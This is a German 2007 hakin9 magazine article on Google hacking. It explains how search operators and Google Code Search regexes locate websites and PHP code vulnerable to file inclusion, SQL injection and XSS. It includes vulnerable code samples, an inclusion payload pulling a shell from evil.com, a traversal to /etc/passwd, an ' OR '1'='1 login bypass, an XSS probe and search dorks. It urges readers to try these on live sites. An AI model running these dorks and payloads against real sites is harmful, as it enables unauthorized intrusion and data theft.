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Angriff

Doch Google liefert nicht nur allgemei-
ne Inhalte, mit Erweiterungen wie der 
Google Code Search und der Google 

Syntax ergeben sich für den geübten Nutzer 
ganz neue Wege dieses Werkzeug für seine 
Zwecke zu nutzen. Dem wollen wir uns nun 
widmen.

Es ist kein Geheimnis, dass Google In-
formationen aller Art enthält und wer sich 
etwas länger mit diesem mächtigen Medi-
um auseinandersetzt wird schnell merken, 
dass hier schier unendliche Möglichkeiten 
geboten werden, an diese Informationen zu 
kommen. Doch Google ist mehr als eine 
simple Suchmaschine, das Konzept der Fir-
ma findet mittlerweile auch in verschiedenen 
anderen Gebieten seinen Platz. So gibt es 
zum Beispiel Google Earth mit dem schon so 
manche interessante Sache gefunden wurde. 
Zum Email Versenden bietet sich Google Mail 
oder kurz Gmail an. Mit der Bildbearbeitungs-
software Picasa schlägt Google wiederum in 
eine komplett andere Richtung ein. Alles in 
allem zeigt sich auch dem ungeübten Nutzer 
schnell, dass hier ein enormes Potenzial und 
eine ungeheure Masse an interessanten Infor-
mationen schlummern.

Die Google Syntax
Um die Möglichkeiten von Google komplett 
ausschöpfen zu können, muss man sich früher 
oder später mit der von dieser Suchmaschine 
bereitgestellten Syntax auseinandersetzen 
und lernen, wie man diese für seine eigenen 
Zwecke gebrauchen kann. Die Möglichkeiten 
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sind dabei sehr weitreichend und 
für einen geübten Nutzer ist es ein 
leichtes, seine Suchergebnisse sehr 
speziell einzugrenzen. Eben das 
werden wir zu verwenden lernen, um 
Ergebnisse zu erhalten, welche wir 
später für verschiedene Angriffssze-
narien benutzen können. Ich setze 
in diesem Artikel voraus, dass Sie 
mit der Google Syntax vertraut sind, 
da es den Rahmen sprengen würde, 
auf die verschiedenen Möglichkeiten 
dieser Syntax einzugehen. Ganz 
grob sollten Sie vor allem mit einem 
Befehl vertraut sein, welcher uns im 
Laufe des Artikels sehr oft helfen 
wird.

inurl:” ”

allinurl:” “

Mit diesem Befehl können wir unsere 
Suchergebnisse so einschränken, 
dass nur solche auftauchen, welche 
das angegebene Wort oder die Wör-
ter in der URL enthalten. Ein sehr 
mächtiges Werkzeug, wie wir noch 
lernen werden.

Remote File Inclusion 
/ Local File Inclusion 
– Theorie
Nachdem wir uns nun eingehender 
mit den Grundlagen und der Theo-
rie hinter der Technik des Google 
Hackings beschäftigt haben, kom-
men wir endlich zu der praktischen 
Umsetzung von dem, was eben 

nur kurz angesprochen wurde. Als 
erstes wollen wir uns einem Fehler 
widmen, der heutzutage einen der 
typischsten und bekanntesten, aber 
dennoch einen der meist program-
mierten darstellt. Genau genommen 
sind es zwei Fehler, welche einen 
ähnlichen Typus aufweisen. Das wä-
re auf der einen Seite der Fehler der 
Remote File Inclusion und auf der 
anderen Seite der Fehler der Local 
File Inclusion. Im weiteren Verlauf 
des Artikels werden wir das anhand 
von PHP sehen. Um es einfach zu 
halten, kann man sagen, dass erste-
rer Fehler oftmals durch eine falsche 
Verwendung von include() bzw. 
include_once() entsteht und ebenso 
durch die Aufrufe require() und re-

quire_once(). Übergibt man diesen 
Funktionen eine nicht überprüfte Va-
riable, ist es möglich, eigenen PHP 
Code im Kontext der Webseite aus-
zuführen. Praktisch heißt dies, dass 
wir etwa eine Shell starten könnten 
(beispielsweise C99 oder R57), wel-
che uns per Webinterface erlaubt 
den Server zu steuern. Zweiter Feh-
ler entsteht dann, wenn ein fopen() 
Aufruf nicht überprüft wird. Dem 
Angreifer ermöglicht sich dadurch 
mithilfe einer Directory Traversal At-
tacke (Hochsteuern im Verzeichnis-
baum) auf Dateien verschiedenster 
Art zuzugreifen. Typischstes Bei-
spiel ist hierbei die Passwortdatei 
passwd von Linux. Läuft der Web-
server mit root Rechten, ist es sogar 
möglich, die Shadow Datei zu lesen 
und die Hashes zu erhalten, um sie 
anschließend etwa mit einer Brute-
force Attacke zu cracken.

RFI und LFI 
in der Praxis
Die Theorie hinter den beiden Feh-
lerarten wurde eben kurz vorgestellt, 
doch jetzt stellt sich die Frage, wie 
man diese Fehler mithilfe von Goog-
le finden und schließlich ausnutzen 
kann. Bedenken wir dazu Folgendes: 
eine typische Benutzung dieser Funk-
tion ist nicht zwangsläufig unsicher 
und viele Seiten haben mittlerweile 
die Gefahr erkannt, doch noch immer 
ist dieser Fehler typisch und wird aus 
Faulheit seitens der Programmier 

Google Zensur
Durch viele schlechte Erfahrungen der Vergangenheit hat Google mittlerweile eine 
recht strikte Zensur eingeführt. So werden teilweise schon Suchergebnisse nicht mehr 
ausgegeben; laut Google aus rechtlichen Gründen des jeweiligen Landes. Für uns ist 
jedoch eine andere Art von Zensur von Bedeutung. Wenn wir unsere Suchstrings bau-
en, kommt nach etwa elf Seiten eine Meldung von Google, welche den Nutzer darauf 
hinweist, dass sein PC mit einem Virus infiziert zu sein scheint und dass er dieses Pro-
blem versuchen sollte zu beheben. Ganz praktisch heißt das für uns, dass wir nur etwa 
die ersten elf Seiten für unsere dargestellte Vorgehensweise benutzen können. Der 
Grund für diese Politik von Google ist schnell erklärt. Im Laufe der letzten Jahre gab es 
immer wieder Wurmattacken, welche gezielt Suchstrings benutzten, um verwundba-
re System und Server zu finden und diese automatisiert anzugreifen. Eben dem Trend 
arbeitete das Unternehmen mit jener Maßnahme entgegen.  Einschränkung zu umge-
hen sind bisher nicht bekannt, so bleibt einem nur seine Suchstrings so zu spezialisie-
ren, dass man nur die ersten zehn Seiten benötigt oder auf andere Suchmaschinen 
umzusteigen. Eine Möglichkeit wäre zum Beispiel www.exalead.de, welche in gewis-
sem Maße ebenso die Google Syntax unterstützt.

Abbildung 1. Eine typische C99 Shell auf einem Webserver
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fabriziert. Schauen wir uns also 
an, wie eine Seiten URL aussehen 
könnte, welche eine Seite einbin-
det und lassen Sie uns dann einen 
typischen Suchstring bauen. http://
www.example.com/index.php?page=

Das wäre die typische Form 
einer Seite – wir haben eine PHP 
Seite – in diesem Fall die index.php 
Seite, welcher eine Variable überge-
ben wird (page). Interessant ist nun, 
was mit dieser Variable geschieht 
und wie sie behandelt wird. Nehmen 
wir also weiter an, dass die Seite 
folgendermaßen einen Wert entge-
gennimmt http://www.example.com/
index.php?page=main.php

Allein schon dieser Aufbau sollte 
einem geübten Angreifer oder auch 
schon einem Laien verdächtig vor-
kommen. Es scheint so, als ob die 
Seite main.php direkt per Variable 
an das PHP Script übergeben wird. 
Die Chancen, dass die Variable per 
include() (bzw. einem der anderen 
“gefährlichen” Aufrufe) entgegenge-
nommen wird, stehen schon mal recht 
gut.  Schauen wir uns im Folgenden 
ein Beispiel für einen verwundbaren 
Programmcode an.

<?php

include($_GET['page']);

?>

Wie wir in diesem doch recht simp-
len Code Abschnitt sehen, wird der 
Wert der Variablen page direkt ein-
gebunden. Wir gehen weiter davon 
aus, dass der Programmierer keine 
ausreichende bzw. gar keine Filte-
rung eingebaut hat. Wollen wir dies 
jetzt für unsere Zwecke ausnutzen, 
müssen wir nur anstatt der Seite 
main.php ein PHP Script von uns 

einbinden. Ein solches Einbinden 
könnte folgendermaßen aussehen:  
www.example.com / index.php?
page=http://www.evil.com/shell.txt

Wenn wir all das verstanden 
haben, ist es ein leichtes, sich ei-
nen funktionierenden Suchstring für 
Google zu bauen. Mithilfe der Funk-
tion inurl:”” werden wir des Weiteren 
nach Seiten suchen, welche diese 
Syntax aufweisen. Das sieht dann 
folgendermaßen aus.

inurl:”index.php?page=”

Teilweise erweist es sich auch als 
noch effizienter, wenn man den Such-
bereich weiter einschränkt, wie etwa 
mit folgendem Befehl.

Inurl:”index.php?page=*php”

Ein ähnlicher Aufruf, der zu leicht 
differenzierten Ergebnissen führt, 
aber ebenso Erfolg liefern kann, ist 
folgender.

index.php?page= inurl:”index.php?page=”

Wie Sie sehen, ist bei dem Ganzen 
nichts Magisches im Spiel – es ist nur 
logisches Denken und strategisches 
Vorgehen – was zum Erfolg führt. 
Das weitere Vorgehen überlasse ich 
hierbei Ihrer Fantasie, es sei jedoch 
angemerkt, dass Sie einfach mal 
verschiedene Kombinationen von 
Seite und Variable versuchen soll-
ten. Testen Sie doch beispielsweise 
main.php, news.php und als Variable 
id oder url. Je mehr Sie dies prak-
tisch versuchen, desto mehr Treffer 
werden Sie erhalten und schnell wer-
den Sie sehen, dass diese Methode 
einfach zum Erfolg führen kann. 

Doch seien Sie nicht enttäuscht, 
wenn viele Seite mittlerweile einen 
Schutz dagegen eingebaut haben. 
Um es noch kurz anzusprechen, 
sei hier noch erwähnt, dass wir 
ähnlich bei einer LFI Schwachstelle 
vorgehen. Anstatt fremden PHP 
Code einzubinden versuchen Sie 
doch einfach im Verzeichnisbaum 
nach oben zu gelangen und auf 
die Passwortdatei zuzugreifen. Das 
Ganze sieht folgendermaßen aus. 
ht tp: / /www.example.com/index.
php?page=../../../../../etc/passwd

Der Suchstring bleibt hierbei der 
gleiche und wenn alles funktioniert 
sollten Sie im Kontext der Seite den 
Inhalt der Passwortdatei von Linux 
sehen.

SQL Injection Fehler
Wenden wir uns im Weiteren einer 
anderen bekannten Fehlerart zu, 
dem sogenannten SQL Injection 
Angriff. Grob gesagt beschreibt 
SQL Injection eine Möglichkeit, 
Informationen aus einer Datenbank 
zu extrahieren, auf die wir nor-
malerweise keinen Zugriff haben 
sollten, noch allgemeiner definiert, 
beschreibt es jede nicht vorgese-
hene Interaktion mit der Datenbank-
anwendung. Das kann ein einfaches 
Provozieren eines Fehlers sein, 
um interessante Informationen aus 
der Fehlermeldung zu erhalten bis 
hin zur kompletten Kontrolle des 
Webservers durch Aufruf einer 
Commandshell. Laut Berichten von 
Acunetix bilden Angriffe durch SQL 
Injection mittlerweile etwa zehn 
Prozent der genutzten Angriffe im 
Websicherheitsbereich. Führend ist 
hierbei ein Angriff über Cross Site 
Scripting, doch dazu später mehr. 
Schauen wir uns zuerst einmal ei-
nen Beispielcode einer verwundba-
ren SQL Anwendung an, in diesem 
Fall liegt dem Ganzen eine MySQL 
Datenbank zu Grunde.

$username = $_POST["username"];

$password = $_POST["password"];

$query = mysql_query("SELECT * 

FROM users WHERE

user='$username' AND

password='$password'");Abbildung 2. Ein typischer XSS Fehler
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Wie wir sehen, werden die beiden Va-
riablen username und password hier 
per POST Aufruf an die Datenbank-
anwendung übergeben und schließ-
lich in eine SQL Abfrage eingebaut. 
Dabei kommt es zu keinerlei Filterung 
seitens der Webanwendung. Ein fa-
taler Fehler, wie man vermuten wird. 
Es ist uns nun über einen speziellen 
Wert, den wir für die Variablen user-
name und password setzen, möglich 
den Login zu umgehen. Indem wir 
einfach Folgendes eingeben, können 
wir die Anwendung austricksen und 
Zugriff auf die dahinterliegenden In-
formationen erhalten.

' OR '1' = '1

Lassen Sie uns zur Verdeutlichung 
noch einen Blick auf die entstehende 
SQL Abfrage werfen, um zu verste-
hen, warum dies den Login erfolg-
reich umgehen wird.

$query = mysql_query("SELECT * 

FROM users WHERE

user='' OR '1' = '1' AND

password='' OR '1' = '1'");

Wenn Sie ein wenig mit SQL vertraut 
sind, werden Sie schnell verstehen, 
dass hier über ein OR Attribut er-
reicht wird, dass die Abfrage umge-
leitet wird. Wörtlich könnte man die 
nun entstehende Abfrage wie folgt 
ausdrücken: Wenn der Nutzername 
leer ist oder 1 gleich 1 ist und ebenso 
das Passwort leer ist oder 1 gleich 1 

ist, dann ... Da 1 logischerweise im-
mer 1 entsprechen wird, ergibt sich 
der Wert TRUE. Daher werden alle 
Datensätze abgerufen. Wenn der 
Code jetzt prüft, ob $query gleich 0 
ist, dann wurde der Login umgangen. 
Wenn der Code aber beispielsweise 
weiter auf die gewonnenen Daten zu-
greifen will, ensteht ein inkompatibler 
Variablentyp und das Programm 
stürzt ab. Doch ist unser Thema hier 
nicht der SQL Injection Angriff, son-
dern das Google Hacking, allerdings 
sollte man immer die Grundlagen 
verstehen, um auch nachvollziehen 
zu können, wie man mit Google 
solche Fehler finden kann. Ähnlich 
dem vorherigen Beispiel mit RFI und 
LFI, überlegen wir uns, wie eine sol-
che Seite namentlich benannt sein 
würde und benutzen Google, um 
solche Seiten ausfindig zu machen. 
Die typischen Namen für solche Sei-
ten sind häufig login.php oder auch 
Namen, wie login.asp, login.aspx 
und weitere. Lassen Sie uns also 
wie vorher einen Suchstring bauen, 
diesmal ist es wirklich sehr einfach, 
sollten Sie das Konzept schon ver-
standen haben.

inurl:”login.php”

Ebenso könnten wir wieder einen 
ähnlichen Aufruf bauen, der dann 
folgendermaßen aussieht.

login.php inurl:”login.php”

Auch wäre es möglich, eine Abfrage 
zu bauen, die wie folgt aussieht.

inurl:”login.asp?name=”

Seien Sie einfach kreativ, wie schon 
im vorherigen Beispiel geht es darum 
möglichst viele Varianten zu erstel-
len, um viele erfolgreiche Treffer 
zu erhalten. Es liegt allein an Ihrer 
Vorstellungskraft, welchen Erfolg Sie 
erzielen werden.

Cross Site 
Scripting (XSS)
Kaum eine Fehlerart ist in den letz-
ten Jahren wohl so populär gewor-
den, wie Cross Site Scripting oder 

kurz einfach nur XSS genannt. Durch 
diese Methode lassen sich verschie-
dene Angriffsvektoren nutzen, von 
einem einfachen Popup, bis hin zu 
einer kompletten Kompromittierung 
der anzugreifenden Seite. Doch 
schauen wir uns zuerst einmal einen 
typischen fehlerbehafteten Code 
an. (Ich verweise hier auch auf den 
Artikel von Paul Sebastian Ziegler, 
welcher das Thema XSS sehr aus-
führlich behandelt, weshalb es hier 
nur kurz angesprochen wird) Stellen 
wir uns eine Suchseite vor, welche 
den Suchstring des Nutzers entge-
gennimmt und anschließend eine 
Meldung, wie “Ihre Suche nach ... er-
gab folgende Ergebnisse: ...” liefert. 
Sehr schnell passiert hier folgender 
Fehler (Listing 1).

Wie wir sehen, wird per GET ein 
Wert an die Webanwendung überge-
ben, welcher dann ungefiltert in der 
ausgegebenen Seite zurückgeliefert 
wird. Ein fataler Fehler, da es so mög-
lich ist jeglichen Code einzubauen, in 
unserem Beispiel wird das JavaScript 
Code sein. Nun lassen Sie uns also 
ein JavaScript Code einbauen, wel-
cher einfach eine Popup Meldung 
ausgibt.

<script>alert('XSS');</script>

Die endgültige Rückgabe der Weban-
wendung wird dann wie folgt lauten.

[...]

<h3>Ihre Suche nach <script>

      alert('XSS'):</script> ergab

      folgende Ergebnisse:

      </h3><br />

[...]

Ein perfektes Beispiel für eine XSS 
Schwachstelle. Hier wird ungefiltert 
ein Wert übergeben, den wir so ma-
nipulieren, dass unser eigener Code 
im Kontext der Seite und schließlich 
auf Seite des Browsers des Nutzers 
ausgeführt wird. Mit diesem Wissen 
ausgestattet können wir uns nun 
ganz einfach selbst eine Google Ab-
frage bauen, welche solche Fehler 
haufenweise findet. Lassen Sie uns 
dazu zum Beispiel einmal nach Fol-
gendem suchen.

Listing 1. Eine typische Seite, 
welche für XSS anfällig ist

<?php

$query = $_GET['query']

[...]

if ($query) {
echo '

<html>

<head><title>Suchergebnisse</

      title></head>

<body>

<h3>Ihre Suche nach '.$query.' 

      ergab folgende Ergebnisse: 

      </h3><br />

[...]

</body>

</html>';



hakin9 Nr. 10/2007 www.hakin9.org/de

Angriff

24

inurl:”search.php?query=”

Sie werden erstaunt sein, in welch 
kurzer Zeit sie massig Fehler finden. 
Und genau wie vorher können wir 
diese Suche auch etwas umformen, 
um leicht andere, doch ebenso nütz-
liche Ergebnisse zu erhalten.

search.php?query= inurl:

      ”search.php?query=”

Oder lassen Sie uns doch einfach 
mal nach Seiten mit der Dateiendung 
ASP suchen. Auch hier finden sich 
wieder sehr interessante Ergebnisse 
und schnelle Treffer (in einem Test 
war gleich die erste Seite anfällig, die 
Google lieferte).

search.asp?query= inurl:

      ”search.asp?query=”

Interessant ist an dieser Suche auch, 
dass Sie teilweise eine Fehlermel-
dung der Datenbank erhalten, welche 
manchmal interessante Informationen 
enthalten könnte, die für weitere An-
griffe dienen könnten. Probieren Sie 
es einfach mal aus, mit verschiedenen 
Schlüsselwörtern und verschiedenen 
Dateiendungen.

Die Google 
Code Search
Nachdem wir nun gelernt haben, 
wie wir mit Google selbst verschie-
dene Fehler in Webanwendungen 
finden können, wollen wir uns nun 
einem Thema widmen – welches 
meiner Meinung nach sogar noch 
mehr Potenzial bietet und bisher 
leider kaum angesprochen wurde. 
Dem, wie man es nennt, Google 
Code Search Hacking. Ähnlich dem 
Hacking via Google werden wir hier 
nach typischen Fehlern in der Co-
de Suchmaschine suchen und das 
Wissen, welches wir dabei im ersten 
Teil des Artikel erlernt haben, an-
wenden. Ganz allgemein sollten Sie 
sich  vorerst mit der Google Code 
Search etwas vertraut machen und 
zuerst die Hauptseite aufrufen, die 
einige Informationen enthält, welche 
nützlich sein könnten (zu finden un-
ter: code.google.com). Wollen Sie 

jedoch gleich mit der Suche selbst 
beginnen so finden Sie diese unter 
google.com/codesearch. Betrach-
ten Sie doch voerst die Optionen, 
welche die Advanced Code Search 
bietet. Schon hier werden Sie se-
hen, welches enorme Potential 
dahintersteckt. Google differenziert 
hierbei nicht nur die eingesetzte 
Lizenz, sondern auch die Sprache 
und dabei ist eine enorme Spra-
chenvielfalt geboten. Von Ada über 
C, von PHP über Perl und Python 
bis hin zu Smalltalk findet sich hier 
so gut wie jede größere Sprache 
wieder.

PHP Fehler finden
In den letzten Absätzen haben 
wir uns sehr eingehend mit ver-
schiedenen Typen von Fehlern 
und Schwachstellen auseinander-
gesetzt und gelernt, wie wir diese 
ausnutzen können, um Informati-
onen zu erhalten oder eine Seite 
gegebenfalls zu übernehmen. 
Dabei sprachen wir von RFI und 
LFI Fehlern durch PHP sowie von 
SQL Injection Schwachstellen und 
schließlich XSS. Nun wollen wir 
eben diese Fehlerarten aus einem 
anderen Blickwinkel heraus be-
trachten. Anstatt Sie in den Websei-

Abbildung 3. Die Hauptseite der Google Code Search

Google Code Search Hacking 
und der POSIX Standard
Was für uns von enormer Bedeutung sein wird, sind die Regular Expressions, welche 
Google einsetzt. Erst diese ermöglichen es uns, die Suche so weit einzuschränken, 
dass wir gute und nützliche Ergebnisse erhalten können. Google verwendet hierbei 
nach eigener Aussage die POSIX Extended Regular Expression Syntax. Das ist sehr 
vorteilhaft für uns, da es genug Material im Internet gibt, welche diesen Standard gut 
beschreiben und leicht verständlich vermitteln. Eine kurze Einführung finden Sie auch 
auf den Seiten von der Code Search selbst, doch diese ist eher mangelhaft, schauen 
Sie also besser auf anderen Seiten vorbei, um sich damit vertraut zu machen. Ich kann 
hier leider nicht auf den gesamten POSIX Standard für Regular Expressions eingehen, 
da dies den Artikel sprengen würde. Der Standard sollte jedoch schnell zu verstehen 
sein und Sie nicht lange aufhalten.
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ten selbst zu suchen, wollen wir sie 
im Quellcode suchen. Wir gehen al-
so quasi einen Schritt zurück. Auch 
für diesen Zweck eignet sich Goog-
le mit seiner Code Search ganz 
wunderbar. Millionen von Source-
codes in verschiedensten Sprachen 
stehen zur Verfügung. Lassen Sie 
uns nun nicht zu viel Zeit mit der 
Theorie “verschwenden”, sondern 
gleich zur Praxis übergehen. Wie 
wir vorher gesehen haben, sind es 
in PHP vier Befehle, welche die 
besten Angriffsvektoren für zum 
Beispiel Remote File Inclusion At-
tacken bieten. Das wären die Funk-
tionen require(), require_once(), 
include() und include_once(). Der 
Fehler tritt immer dann auf, wenn 
eine nicht initialisierte Variable ein-
gebunden wird und wir deren Wert 
manipulieren können. Es muss 
also nun unser Ziel sein, im Quell-
code Kombinationen aus diesen 
Funktionen und einem beliebigen 
Variablennamen zu finden, wel-
cher mit einem $ Zeichen beginnt. 
Dazu lassen wir Google durch den 
Befehl lang:php noch wissen, dass 
wir unsere Suche auf PHP Dateien 
einschränken wollen. Lassen Sie 
uns nun also einen Blick auf einen 
Suchstring werfen, welcher Fehler 
mit den Funktionen require() und 
require_once() findet.

lang:php (require

      |require_once)\($.*\)

Zuerst sagen wir Google hier, dass 
wir nur die Sprache PHP ausgeben 
möchten, anschließend wird in den 
runden Klammern angegeben, 
dass nach den Wörtern require und 
require_once gesucht werden soll, 
das Pipe Symbol | stellt dabei den 
ODER Operator dar. Es wird also 
nach beiden Schlüsselwörtern glei-
chermaßen gesucht. Anschließend 
folgt die Suche nach den Kriterien, 
dass ein beliebiger Variablenname 
mit $ beginnen soll und von Klam-
mern eingeschlossen wird. Dabei 
muss man beachten, dass die 
Klammern und das Dollarzeichen 
per \ escaped werden. Das ist 
wichtig, da sonst ein Fehler auftritt. 

Wenn Sie nun danach suchen wer-
den Sie Ergebnisse erhalten, wie 
etwa folgendes.

require_once($file);

Zwar ist dieser Code noch nicht 
zwangsläufig angreifbar, doch die 
Chancen stehen gut und es wird 
sich gewiss der eine oder andere 
Code finden, welcher verwundbar 
ist. Um das ganze noch zu erweitern, 
lassen Sie uns auch die Schlüssel-
wörter include() und include_once() 
einbauen.

lang:php (require|require

      _once|include|include

      _once)\($.*\)

Wieder haben wir über die Pipe zwei 
weitere ODER Operatoren einge-
baut und nun wird dieser Suchstring 
Google dazu anweisen nach allen 
vier Funktionen zu suchen. Natür-
lich könnten Sie diese Suche noch 
weiter einschränken oder auch an-
dere Funktionen untersuchen, der 
Fantasie sind hierbei keine Grenzen 
gesetzt und es kommt auch zu kei-
ner Zensur oder Unterbindung der 
Suche seitens Google.

SQL Injection 
Fehler finden
Im letzten Abschnitt haben wir 
gesehen, wie man Fehler in PHP 
Anwendungen findet, welche sich 
zum Beispiel für eine RFI Attacke 
ausnutzen lassen. Nun wollen wir 
uns dem nächsten Bereich widmen, 
der SQL Injection. Ähnlich wie vor-
her, überlegen wir uns zuerst wie 
typische SQL Anfragen aussehen 
könnte und bauen schließlich einen 
dazu passenden Suchstring. In PHP 
werden SQL Queries (zu Deutsch: 
Abfragen) typischerweise mit einer 
query() Funktion aufgerufen. In 
dieser query() Funktion ist die SQL 
Abfrage enthalten, welche an die 
Datenbank übergeben wird. Unser 
Ziel muss es also sein solche An-
fragen zu filtern und das Ganze so 
zu spezialisieren, dass wir nur noch 
– möglicherweise –        fehlerbe-
haftete Anfragen erhalten. Schauen 
wir uns zuerst einmal eine typische 
query() Funktion an.

query("SELECT * FROM users")

Zugegeben ist dies keine allzu 
spannende Abfrage, sie gibt einfach 
alle Daten aus der Tabelle users aus.    

Im Internet
• http://code.google.com – Die Google Code Search Hauptseite
• http://en.wikipedia.org/wiki/Regular_expression – Eine Beschreibung des POSIX 

Standards für Regular Expressions von Wikipedia
• http://sla.ckers.org/forum/list.php?2 – Informationen rund um XSS und andere 

Themen
• http://en.wikipedia.org/wiki/SQL_injection – Eine Beschreibung über Grundlagen 

von SQL Injection von Wikipedia
• http://johnny.ihackstuff.com/ghdb.php – Die berühmte Google Hacking Database 

mit vielen Suchstrings für Google

Weitere Möglichkeiten der Google Code Search
Wie wir gesehen haben ist die Google Code Search ein mächtiges Werkzeug zum Auf-
finden von typischen Programmierfehlern. In diesem Artikel haben wir jedoch nur Pro-
gramme untersucht, welche in PHP verfasst wurden, das ist natürlich nur ein kleiner Te-
il der gesamten Möglichkeiten. Wenn Sie zum Beispiel mit C vertraut sind, könnten Sie 
sich auch auf die Suche nach Fehlern in solchen Programmen, wie etwa Buffer Over-
flows oder ähnlichem, machen. Interessant und teilweise amüsant kann es auch sein, 
die Google Code Search zu nutzen, um Kommentare der Programmierer ausfindig zu 
machen. Viele Programmierer verweisen schon im Quellcode auf mögliche unsichere 
Funktionen und so kann man diese leicht auffinden. Testen Sie es einfach mal aus.
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Doch sollte Ihnen dies auch nur ei-
nen kurzen Einblick liefern, wie die 
Syntax dieser Funktion aufgebaut ist. 
Überlegen wir uns nun, welche Fehler 
ein Programmierer machen könnte, 
wenn er eine solche Abfrage in seine 
PHP Anwendung einbaut. Um seine 
Seite möglichst dynamisch zu halten, 
wird er versuchen die Anfrage so zu 
gestalten, dass der Nutzer die Werte 
beeinflussen kann. Stellen Sie sich 
dazu eine Newsseite vor, welche 
verschiedene Kategorien enthält. 
Je nachdem, welche Kategorie der 
Nutzer wählt, wird die query() Funk-
tion einen anderen Teil der Tabelle 
selektieren und ausgeben. Soweit ist 
das ein richtiges Verhalten, doch tritt 
hierbei leicht ein Fehler auf, nämlich 
dann, wenn es zu keinerlei Überprü-
fung der übergebenen Daten kommt. 
Schauen wir uns dazu wiederum ein 
Beispiel an.

query("select * from

      news where id=

      " . $_GET['id'])

Hier wird ohne Überprüfung einfach 
der Wert id, welcher per GET über-
geben wird, an die Datenbank wei-
tergereicht. Eine SQL Injection wäre 
so möglich, da es dem Angreifer nun 
ermöglicht wird die SELECT Anfra-
ge so umzubauen, wie es ihm von 
Vorteil sein könnte. Er könnte Fehler 
provozieren und Informationen erhal-
ten oder auch Inhalte manipulieren 
und löschen. Unser Ziel ist es also 
nun nach genau solchen Fehlern 
zu suchen. Dazu schauen Sie sich 
die folgende Anfrage an die Google 
Code Search an.

lang:php query\(.*\$_GET.*\)

Wieder teilen wir Google mit, dass 
wir nur Quellcode von in PHP ge-

schriebenen Anwendungen wollen. 
Weiter spezialisieren wir unsere 
Suche auf die query() Funktion und 
escapen erneut die Klammern und 
schließlich suchen wir nach Teilen 
im Quellcode, welche in dieser Ab-
frage in irgendeiner Weise $_GET 
enthalten. Der Punkt mit nachfolgen-
dem Stern besagt ganz einfach nur, 
dass hier eine beliebige Anzahl von 
Zeichen stehen kann, in diesem Fall 
sowohl vor als auch nach dem GET. 
Wir könnten diese Anfrage jetzt noch 
um den POST Parameter erweitern. 
Dann sieht unsere Abfrage schließ-
lich so aus.

lang:php query\(.*\$_(GET|POST).*\)

Weitere Parameter, wie beispielswei-
se REQUEST, wären durchaus auch 
denkbar. Probieren Sie es einfach mal 
aus und schauen Sie, welche vielen 
Ergebnisse Ihnen hierbei geliefert 
werden.

XSS Fehler finden
Wir kommen nun zu dem letzten 
Abschnitt dieses Artikels. Bisher 
haben wir gelernt, wie man verschie-
dene Fehler durch Google ausfindig 
macht und ebenso, wie man solche 
Programmierfehler schon im Quell-
code mithilfe der Google Code 
Search entdecken kann. Als letztes 
Glied der Kette fehlt uns nun noch 
die Fähigkeit herauszufinden, wie 
wir XSS Fehler schon im Quellcode 
verschiedener Programme entde-
cken können. Ich empfehle Ihnen 
hier nochmal zurückzublättern und 
sich das Beispiel anzuschauen, 
welches wir im vorherigen Abschnitt 
zum Thema XSS mit Google finden 
angesprochen haben. Dabei war be-
sonders eine Zeile von besonderer 
Bedeutung, welche durch die echo() 
Funktion ausgegeben wurde.

[...]

<h3>Ihre Suche nach '.

      $query.' ergab folgende 

      Ergebnisse: </h3><br />

[...]

Da $query ein vom Benutzer per GET 
übergebener Wert war, welcher hier 
ungefiltert per echo() ausgegeben 
wird, ermöglichte uns dies schon vor-
her beliebigen Code einzuschleusen, 
in unserem Beispiel ein einfacher 
JavaScript Beispielcode. Unser Ziel 
muss es also nun in der Google Code 
Search sein, nach echo() und auch 
print() Funktionen zu suchen, welche 
eine Variable ausgeben und diese 
nicht vorher filtern, was man dann bei 
näherer Betrachtung des Quellcodes 
herausfinden kann. Lassen Sie uns al-
so zuerst einmal nach echo() suchen.

lang:php echo.*\$_GET.*

Dieser Suchstring sollte Ihnen mittler-
weile zur Genüge vertraut sein und 
ich werde ihn nicht weiter erläutern. 
Was wir erhalten sind schließlich ver-
schiedene Ergebnisse, welche echo 
und $ _ GET in irgendeiner Weise ent-
halten, nicht zwangsläufig sind solche 
Programme also angreifbar, aber die 
Möglichkeit ist durchaus gegeben und 
muss nun bei genauerem Überprüfen 
getestet werden. Mögliche Ergebnis-
se einer solchen Suche könnten wie 
folgt aussehen.

echo $_GET["id"];

Zum Schluss wollen wir auch noch 
nach print() Funktionen suchen und 
erweitern unsere Suche nur gering-
fügig.

lang:php (echo|print).*\$_GET.*

Wenn Sie wollen, können Sie die-
se Suche natürlich noch weiter 
einschränken und etwa nur nach 
Kombinationen mit $ _ GET[“id”] oder 
ähnlichem suchen. Das bleibt Ihnen 
überlassen und schließlich sollen 
diese Beispiele Ihnen nur einen Ein-
blick in die vielen Möglichkeiten von 
Google bieten, alle abzudecken wäre 
unmöglich. ¸
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